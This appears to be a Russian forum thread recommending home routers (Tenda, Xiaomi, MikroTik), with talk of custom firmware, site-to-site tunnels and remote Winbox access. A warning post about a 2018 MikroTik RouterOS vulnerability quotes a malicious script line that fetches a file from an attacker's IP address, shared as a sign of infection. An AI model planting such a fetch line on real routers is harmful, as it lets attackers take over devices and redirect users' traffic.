Посоветуйте роутер для дома (Голосование)

[RESOURS]

Сходите поищите свой http://3wifi.stascorp.com/map и это далеко не самая полная база хакнутых роутеров. Не стоит думать, что если у вас «домашний» роутер то он не дырявый как решето.

Не нашел )))

[Degun]

Суслика видишь? Нет. А он где-то есть. (с) В общем то не факт что эта база достаточно полная, но она отражает динамику. Количество взломанных точек (особенно в крупных городах) просто зашкаливает. И 90% это обычные "домашние" роутеры, якобы защищенные из коробки производителем. Как бы можно задуматься об администрировании в целом и о безопасности в частности и прийти к логичному выводу: Приглядывать за своим сетевым оборудованием все же следует, хотя бы изредка. В идеале отслеживать что происходит в мире и если вдруг производитель вашего роутера настоятельно рекомендует обновить старые прошивки - делать это.

[RESOURS]

Почему бы производителям не встроить автоматическое обновление прошивки по расписанию, как обновляется, например, Android?

[kol2000]

А теперь подумай и сам постарайся ответить на этот относительно простой вопрос)

[RESOURS]

А теперь подумай и сам постарайся ответить на этот относительно простой вопрос)

Ну раз ты подумал уже, и даже сложность вопроса оценил, напиши свою версию )

[mimicria]

Для владельцев mikrotik, вдруг кто не видел

23 апреля 2018 года обнаружена уязвимость всех продуктов микротик на RouterOS.

Причем уязвимость позволяет узнать логин и  пароль, беспрепятственно войти в систему и сделать с роутером всё что угодно.

Всё бы было настолько буднично если бы 24 июля я не обнаружил бы на своем роутере и роутерах компании эту заразу. Распространяется очень быстро.

Характерные приметы: В System - scripts появляются посторонние скрипты, вот один из них:

/tool fetch address=95.154.216.164 port=2008 src-path=/mikrotik.php mode=http

В файлах соответственно mikrotik.php

Отключаются все запрещающие правила фаервола.

Создаются задачи в планировщике по запуску скрипта.

Открывается сокс-прокси на нестандартном порту.

Меняются адреса днс-серверов.

https://forum.mikrotik.com/viewtopic.php?t=133533

[Degun]

Для владельцев mikrotik, вдруг кто не видел

23 апреля 2018 года обнаружена уязвимость всех продуктов микротик на RouterOS.

Причем уязвимость позволяет узнать логин и  пароль, беспрепятственно войти в систему и сделать с роутером всё что угодно.

Всё бы было настолько буднично если бы 24 июля я не обнаружил бы на своем роутере и роутерах компании эту заразу. Распространяется очень быстро.

Характерные приметы: В System - scripts появляются посторонние скрипты, вот один из них:

/tool fetch address=95.154.216.164 port=2008 src-path=/mikrotik.php mode=http

В файлах соответственно mikrotik.php

Отключаются все запрещающие правила фаервола.

Создаются задачи в планировщике по запуску скрипта.

Открывается сокс-прокси на нестандартном порту.

Меняются адреса днс-серверов.

https://forum.mikrotik.com/viewtopic.php?t=133533

Добавлю, что уязвимость затрагивает все версии RouterOS, начиная с v6.29. Проблема исправлена в версиях RouterOS v6.42.1 на более старших версиях ПО - уязвимость закрыта. Возможность использования данной уязвимости на старых прошивках возможна только в том случае, если открыты порты для внешнего управления для широкого круга лиц (не стоит ограничение по доступу с определенных IP).
По умолчанию в дефолтной конфигурации широкого доступа извне нет - это нужно включать вручную.

[silver909]

Tenda AC6
Его никто не рассматривал ? Отзывы вроде нормуль, 4.5 по Яндексу 50+ отзывов..
Вот думаю может такой взять , 1825р за 5ггц и норм сигнал

[Degun]

Tenda AC6
Его никто не рассматривал ? Отзывы вроде нормуль, 4.5 по Яндексу 50+ отзывов..
Вот думаю может такой взять , 1825р за 5ггц и норм сигнал

Можно конечно. Там в отзывах подробно изложены все плюсы и минусы. На мой взгляд основных минусов два:
1. Мало портов.
2. Порты только 100 Мбит/с.

Поэтому смысл гордой надписи: "Макс. скорость беспроводного соединения 1167 Мбит/с" как-то теряется. ИМХО.

[silver909]

Tenda AC6
Его никто не рассматривал ? Отзывы вроде нормуль, 4.5 по Яндексу 50+ отзывов..
Вот думаю может такой взять , 1825р за 5ггц и норм сигнал

Можно конечно. Там в отзывах подробно изложены все плюсы и минусы. На мой взгляд основных минусов два:
1. Мало портов.
2. Порты только 100 Мбит/с.

Поэтому смысл гордой надписи: "Макс. скорость беспроводного соединения 1167 Мбит/с" как-то теряется. ИМХО.

Сколько гигабит линия стоит самая дешёвая ?)
Много у кого подключена она ? )

Мне главное в роутере чтоб по вафле +-100мбит давал , чтоб на мибокс 3 смотреть 4к онлайн )  экономисты не сделали Лан порт , а хаб в юсб стоит ,почти, как роутер от тенды ))

Пс,глянул : МТС, пчел, Ростелеком,пузл - у них нет гигабита , зашёл на ресурс , вообще тарифы не показывает ..
Сколько в ресурсе стоит 1000? 

[proorel]

глянул : МТС, пчел, Ростелеком,пузл - у них нет гигабита , зашёл на ресурс , вообще тарифы не показывает ..
Сколько в ресурсе стоит 1000? 

http://portal.orn.ru/p/index.php?topic=26568.msg250727#msg250727 Подробности в кассе.

[silver909]

Почитал я про сяоми Ми вафля 3г, вроде покруче тенды будет намного , и будут гигабитные порты и флешка и функционала как в микротике , если прошить подавана

[kol2000]

Гигабит для LAN дома нужен, а не для WAN.

[Degun]

Падаван хорошая прошивка, у меня она стоит на одном из китайских роутеров. Хороший функционал, неплохая стабильность, но тесно работая с микротами могу однозначно сказать что фраза «функционал как в микротике» не соответствует действительности (совсем)

[KeyMS]

Микротик очень сильная ОС. Но для дома это точно перебор.

[Degun]

Не знаю, интересно поковырять, больше возможностей, более гибкие. Любые хотелки можно сделать. Я вон заморочился, поднял EoIP туннели между домом, кв. родителей, загородным домом и еще одной хатой. Получилась единая сеть, по которой ходит бродкаст и все устройства видят друг-друга напрямую. Удобно например стартануть фильм с ДЛНА-сервера который стоит в другой квартире, отправить на печать что-нибудь. В конце концов запустить те же Герои 3 по этой локальной сети ))

Выше писал, что и куму сделал "белый IP" за бесплатно, просто подняв еще один L2TP-туннель до своего роутера и завернул камеры через себя, теперь он стучит на мой белый IP, а попадает к себе домой.... Надо ли это все "обычному" пользователю хз, может не надо, а может бы и надо бы было - тут каждый решает сам.

[kol2000]

Не знаю, интересно поковырять, больше возможностей, более гибкие. Любые хотелки можно сделать. Я вон заморочился, поднял EoIP туннели между домом, кв. родителей, загородным домом и еще одной хатой. Получилась единая сеть, по которой ходит бродкаст и все устройства видят друг-друга напрямую. Удобно например стартануть фильм с ДЛНА-сервера который стоит в другой квартире, отправить на печать что-нибудь. В конце концов запустить те же Герои 3 по этой локальной сети ))

Выше писал, что и куму сделал "белый IP" за бесплатно, просто подняв еще один L2TP-туннель до своего роутера и завернул камеры через себя, теперь он стучит на мой белый IP, а попадает к себе домой.... Надо ли это все "обычному" пользователю хз, может не надо, а может бы и надо бы было - тут каждый решает сам.

Это напоминает анекдот: "- А теперь, господа, пристегнитесь. Сейчас со всей этой ху$ней мы попробуем взлететь". Понятно, что все это работает, но работает скорее всего "для галки". Вопрос в другом: как вся эта тряхомудия будет себя вести под реальной нагрузкой, ибо пропускную способность сети никто не отменял.

[Degun]

как вся эта тряхомудия будет себя вести под реальной нагрузкой?

Одним словом: Отлично! Оно себя ведет под нагрузкой. Просто великолепно И все работает, ничего ни у кого не отваливается. Стабильно как в танке. По сути реализовано как делают офисы с удаленными филиалами, чтобы получить связанную единую сеть. Единственное что я добавил от себя это EoIP. В компаниях обычно не делают полностью единую, видимую для всех клиентов, сеть и ограничиваются просто VPN-туннелями из-за паразитного трафика винды (любит она постоянно гонять пакеты по сетке между устройствами и если компов в филиалах более 50, то это начинает создавать ненужную нагрузку на канал). Ну а у меня виндовых компов в локалке не много поэтому я реализовал единую локальную сетку.

[kol2000]

Одним словом: Отлично! Оно себя ведет под нагрузкой. Просто великолепно

Ну, например, если ты с родителями одновременно решите что-нибудь посмотреть в 4к с битрейтом там мегабит так в 70 с "ДЛНА-сервера который стоит в другой квартире", более чем уверен, что вас ожидает в лучшем случае слайд-шоу. Такая нагрузка имелась в виду, а не Герои 3 с документиками.

[Degun]

Одним словом: Отлично! Оно себя ведет под нагрузкой. Просто великолепно

Ну, например, если ты с родителями одновременно решите что-нибудь посмотреть в 4к с битрейтом там мегабит так в 70 с "ДЛНА-сервера который стоит в другой квартире", более чем уверен, что вас ожидает в лучшем случае слайд-шоу. Такая нагрузка имелась в виду, а не Герои 3 с документиками.

Все будет хорошо. ДЛНА стоит у меня дома, 4К устройств у нас ни у кого нет, но фуллХД одновременно из 3 разных мест с моего NASa смотрели плавно и без затыканий/разрывов.

[kol2000]

Все будет хорошо. ДЛНА стоит у меня дома, 4К устройств у нас ни у кого нет, но фуллХД одновременно из 3 разных мест с моего NASa смотрели плавно и без затыканий/разрывов.

Это относительно слабая нагрузка. А вот то, что "Все будет хорошо", в случае с 4К, это только теоретически и ты сам это прекрасно понимаешь.

[Degun]

Я не могу проверить, поэтому у меня нет ответа. Возможно все будет хорошо, возможно нет. Пока не попробуешь не узнаешь, мне достаточно того как оно работает сейчас - удобно и стабильно. Перемещаешься между квартирами и ты все в той же единой сетке, все твои устройства телефоны/планшеты стучат на NAS, FTP по тем же настройкам что и дома. Лично для меня это очень удобно.

[kol2000]

Это неопровержимо и бесспорно Самое главное, что Герои 3 работают 

[silver909]

Заказал себе ми 3g на Алике за 2400р , поглядим шо за чудо будет ..

[Tim0]

Сабж... В связи с погибелью жесткого диска в яблочной тайм-капсуле снова озадачился вопросом ее замены на нормальный маршрутизатор. Потребители - 4 яблочных компьютера, айпады, телефоны на винде и андроиде, ATV, смарт-ТВ. К маршрутизатору подключен WD MyBook Duo, который используется в качестве фильмохранилища для медиаплеера и файлопомойки в целом.

Плюсы тайм-капсулы: управление при помощи штатной утилиты Apple, гигабитные порты Ethernet, 802.11 ac, внутренний жесткий диск.
Минусы: невозможность подключения модема (хотелось бы иметь задел на случай переезда), отсутствие USB 3.0, не вполне корректная работа с внешним диском (при попытке записи возможен вылет раздела - восстановимо, но геморно. По факту использовал внутренний диск как файлопомойку, внешний только в режиме чтения). Ну и внутренний диск сдох после отключения электричества, но возможно что из-за перегрева тоже - пассивное охлаждение.

Нужно: гигабитный Ethernet в количестве не менее трех выходов, корректно работающий USB 3.0, нормальная работа с потребителями 802.11ac и 802.11n (соотношение примерно 2/5), стабильность работы 24/7, не слишком сложная настройка (в идеале из коробки).

Яблокосрач прошу не устраивать, все плюсы исключительно субъективно для моей ситуации.

[silver909]

Ми роутер 3g  ко всем твоим подходит потребностям , кроме гигабитные портов, там всего их 3 ( 1 инета и 2 на компы)

Уже неделю играюсь с ним , очень порадовал )
Юсб 3.0 работает гуд , торент,длна,шара, две одновременных вафли 2.4 и 5гц, nas и тд .. короче усе есть ))
Надо потратить 2 часа чтоб прошить падавана, если стоит Линукс где-то , то часа полтора .. если уже знаешь что куда и стоит Линукс минут 15 максимум ))

4к блюрей по юсб 3.0 грузит проц на 30% , плюс ещё торент 9.9мбайт качает .. торент внутренний качает 3мбайта в среднем вместо 10, может где-то что-то подкрутить надо , но без настройки так)

По поводу вафли , у меня квартира 4шка 85+ квадратов , роутер стоит в крайней комнате ..
5гц ловит от одной точки хаты до другой , скорость а самой дальней 45-50мбит , 2.4гц там же 20-25..

Короче доволен как слон покупкой , вышел 2400 на алике

[KeyMS]

Заказал себе ми 3g на Алике за 2400р , поглядим шо за чудо будет ..

можно было в Орле за 2к взять.

[silver909]

Заказал себе ми 3g на Алике за 2400р , поглядим шо за чудо будет ..

можно было в Орле за 2к взять.

Это будет версия 3, а я взял 3g , разница в портах 100/гигабит, отсутствие юсб , железки слабее ..

[ntoolsua]

Я использую роутер TP-Link. За 2 года нареканий не было. Ну может чуть тепловатый только.

[Tim0]

Подниму старую тему, чтобы не плодить сущностей.

Посоветуйте, пожалуйста, актуальный роутер на сегодняшний день. Требования:

WiFi ac с нормальным диапазоном на три комнаты (установлен ближе к двери, так неправильно, знаю, но других вариантов нет).
USB 3.0 для подключения файлопомойки/видеотеки
Гигабитные порты

Пока смотрю в сторону Xiaomi Mi Wi-Fi Router Pro R3P, но полной уверенности нет, особенно по части танцев с бубном.

Ну и медиаплеер к нему, чтоб два раза не вставать, с wifi и H.265. 4К необязательно, 3D желательно. Использоваться будет для просмотра видеофайлов, стриминговые сервисы особо не нужны.

[serg1973]

Подниму старую тему, чтобы не плодить сущностей.

Посоветуйте, пожалуйста, актуальный роутер на сегодняшний день. Требования:

WiFi ac с нормальным диапазоном на три комнаты (установлен ближе к двери, так неправильно, знаю, но других вариантов нет).
USB 3.0 для подключения файлопомойки/видеотеки
Гигабитные порты

Пока смотрю в сторону Xiaomi Mi Wi-Fi Router Pro R3P, но полной уверенности нет, особенно по части танцев с бубном.

Ну и медиаплеер к нему, чтоб два раза не вставать, с wifi и H.265. 4К необязательно, 3D желательно. Использоваться будет для просмотра видеофайлов, стриминговые сервисы особо не нужны.

Взял себе вот такой https://ultra-orel.ru/catalog/router-redmi-router-ac2100-belyy/
очень доволен на 5 ГГЦ через две стены 96 МГ/с как по проводу. Есть кастомная прошивка от Падована. Короче супер за 8 месяцев
ни однаго отвала. Правда интерфейс на китайском но есть приложение на русском в общем я с настройками разобрался.
Единственное нет ЮСБ. https://youtu.be/cH-qHmi324Q

[Tim0]

ни однаго отвала. Правда интерфейс на китайском но есть приложение на русском в общем я с настройками разобрался.
Единственное нет ЮСБ. https://youtu.be/cH-qHmi324Q

USB как раз нужен, и именно третий, бо файлохранилище.
То есть с Сяо можно работать и из коробки, так?

[KeyMS]

А кто у нас в микротиках шарит ? Вопрос такой, как для WAN порта сделать доступным winbox.

Нашел вот такой мануал.
Что надо открыть порт в межсетевом экране. Всё сделал человек, но говорит, что winbox ничего не увидел.

[Degun]

Мой тебе ОЧЕНЬ хороший совет - не делай это. Если прям писец как нужно управлять роутером извне, то подними ВПН-сервер (любой) на роутере и поднимай с ним защищенное соединение, и потом уже изнутри сети управляй роутером.

Второй вариант: если управление роутером будешь делать строго из одного места (например из дома) а роутер стоит на объекте, то в настройках фаервола открой порт только для своего домашнего IP.

У меня за месяц работы роутера список тех кто ломится на порт управления микротика извне доходит до 1500 штук. Я бы не советовал.

Ну а если прям нужно открыть для всех, то инструкция выше правильная, плюс нужно открыть для всех управление в сервисах.

IP > Service > winbox - там должно быть пусто, в этом случае роутер будет принимать запросы от любых сетей.


Последний совет: если будешь открывать всем хотя бы сочени тогда пароль в 20-25 сложных символов. Удачи.

[mimicria]

Мой тебе ОЧЕНЬ хороший совет - не делай это. Если прям писец как нужно управлять роутером извне, то подними ВПН-сервер (любой) на роутере и поднимай с ним защищенное соединение, и потом уже изнутри сети управляй роутером.

Вот прям очень хороший совет. Единственный момент, микротик не очень умеет в хорошие безопасные и быстрые vpn

[Degun]

Мой тебе ОЧЕНЬ хороший совет - не делай это. Если прям писец как нужно управлять роутером извне, то подними ВПН-сервер (любой) на роутере и поднимай с ним защищенное соединение, и потом уже изнутри сети управляй роутером.

Вот прям очень хороший совет. Единственный момент, микротик не очень умеет в хорошие безопасные и быстрые vpn

Для управления хватит с головой (да и не только) А так да - ждем РОС v7 там вроде обещают wireguard

[KeyMS]

Роутер будет стоять за другим роутером. До него не доберутся Просто надо чтобы winbox был для управления на wan.

[Degun]

Роутер будет стоять за другим роутером. До него не доберутся Просто надо чтобы winbox был для управления на wan.

Тогда в чем сложность? Если микротик будет стоять за другим роутером, то делай как в инструкции, проверь сервисы, как я написал выше и тебе будет нужно пробросить на внешнем роутере порт чтобы запросы извне дошли до твоего микрота.

Ну условно чтобы адресат стучался на порт твоего внешнего роутера, а внешний роутер понимал что пакет предназначен микротику и перенаправлял запрос на него. Кстати, рекомендую внешний порт назначить не 8291 а какой-нибудь другой к примеру 9404 ))